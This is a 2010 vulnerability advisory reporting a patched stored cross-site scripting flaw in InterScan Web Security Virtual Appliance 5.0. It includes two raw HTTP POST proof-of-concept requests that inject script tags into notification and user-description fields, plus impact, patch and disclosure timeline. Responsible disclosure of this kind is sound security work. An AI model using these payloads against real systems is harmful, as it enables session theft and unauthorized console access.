CYBSEC Advisory#2010-0701 InterScan Web Security 5.0 Permanent XSS

["CYBSEC Labs" <cybseclabs () cybsec com>]

Advisory Name: Permanent Cross-Site Scripting in InterScan Web Security Virtual Appliance 5.0
 

Internal Cybsec Advisory Id: 2010-0607

 

Vulnerability Class: Permanent Cross-Site Scripting (XSS)

 

Release Date: 01-07-2010

 

Affected Applications: InterScan Web Security Virtual Appliance 5.0

 

Affected Platforms: Red Hat nash 5.1

 

Local / Remote: Remote 

 

Severity: Medium - CVSS: 4.3 (AV:N/AC:M/Au:N/C:N/I:P/A:N)

 

Researcher: Ivan Huertas

 

Vendor Status: Patched

 

Reference to Vulnerability Disclosure Policy: http://www.cybsec.com/vulnerability_policy.pdf

 

Vulnerability Description:

 

Permanent Cross Site Scripting vulnerabilities were found in InterScan Web Security Virtual Appliance, because the 
application fails to sanitize user-supplied input when it inserts a new user.

 

Proof of Concept: 

 

* Parameters like "desc", "metrics__notify_body", metrics__notify_subject are not properly sanitized. Below are proofs 
of concept of the attacks:

 

1)

POST /servlet/com.trend.iwss.gui.servlet.MetricSetting HTTP/1.1

Host: xx.xx.xx.xx:1812

User-Agent: Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.1.8) Gecko/20100214 Ubuntu/9.10 (karmic) Firefox/3.5.8

Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8

Accept-Language: en-us,en;q=0.5

Accept-Encoding: gzip,deflate

Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7

Keep-Alive: 300

Proxy-Connection: keep-alive

Referer: xx.xx.xx.xx:1812

Cookie: JSESSIONID=95B512A600A8FC9FD989667E4D9DE8B3

Content-Type: application/x-www-form-urlencoded

Content-Length: 628

 

redirect_page=null&daemonaction=64&metrics__notifyadmin=00000&metrics__virus_threshold=15&metrics__virus_notification_period=30&metrics__spyware_threshold=15&metrics__spyware_notification_period=30&metrics__database_threshold=80&metrics__database_notification_period=30&metrics__hard_disk_threshold=80&metrics__hard_disk_notification_period=30&metrics__bandwidth_usage_threshold=50000&metrics__bandwidth_notification_period=60&metrics__notify_subject=%22%3E%3Cscript%3Ealert%28%27XSS%27%29%3C%2FSCRIPT%3E&metrics__notify_body=%25m+has+exceeded+%25t.+%3C%2Ftextarea%3E%3Cscript%3Ealert%28%27XSS%27%29%3C%2FSCRIPT%3E%3Ctextarea%3E

 

2)

POST /login_account_add_modify.jsp HTTP/1.1

Host: xx.xx.xx.xx:1812

User-Agent: Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.1.8) Gecko/20100214 Ubuntu/9.10 (karmic) Firefox/3.5.8

Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8

Accept-Language: en-us,en;q=0.5

Accept-Encoding: gzip,deflate

Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7

Keep-Alive: 300

Proxy-Connection: keep-alive

Referer: xx.xx.xx.xx:1812

Cookie: JSESSIONID=8466E24FDCCB840BDE17D972210DA20E

Content-Type: application/x-www-form-urlencoded

Content-Length: 146

 

op=add&userid=consultor1&password_changed=true&PASS1=xxxx&PASS2=xxxx&desc=%3Cscript%3Ealert%281%29%3C%2Fscript%3E&access_rights=reportonly

 

Other parameters might also be affected.

 

Impact:

 

An affected user may unintentionally execute scripts or actions written by an attacker. In addition, an attacker may 
obtain authorization cookies that would allow him to gain unauthorized access to the Web console. 

 

Solution: 

 

Apply the patch that can be found in 


http://downloadcenter.trendmicro.com/index.php?clk=tbl&clkval=249&regs=NABU&lang_loc=1

 

 

 

Vendor Response: 

 

2009-03-26 - Vulnerability was identified

2010-04-09 - Vendor contacted

2010-04-15 - Vendor response

2010-06-21 - Vendor released fixed version

2010-06-30 - Vendor confirmed the solution

2010-07-01 - Vulnerability published

 

Contact Information:

 

For more information regarding the vulnerability feel free to contact the researcher at 

ihuertas <at> cybsec <dot> com

 

 

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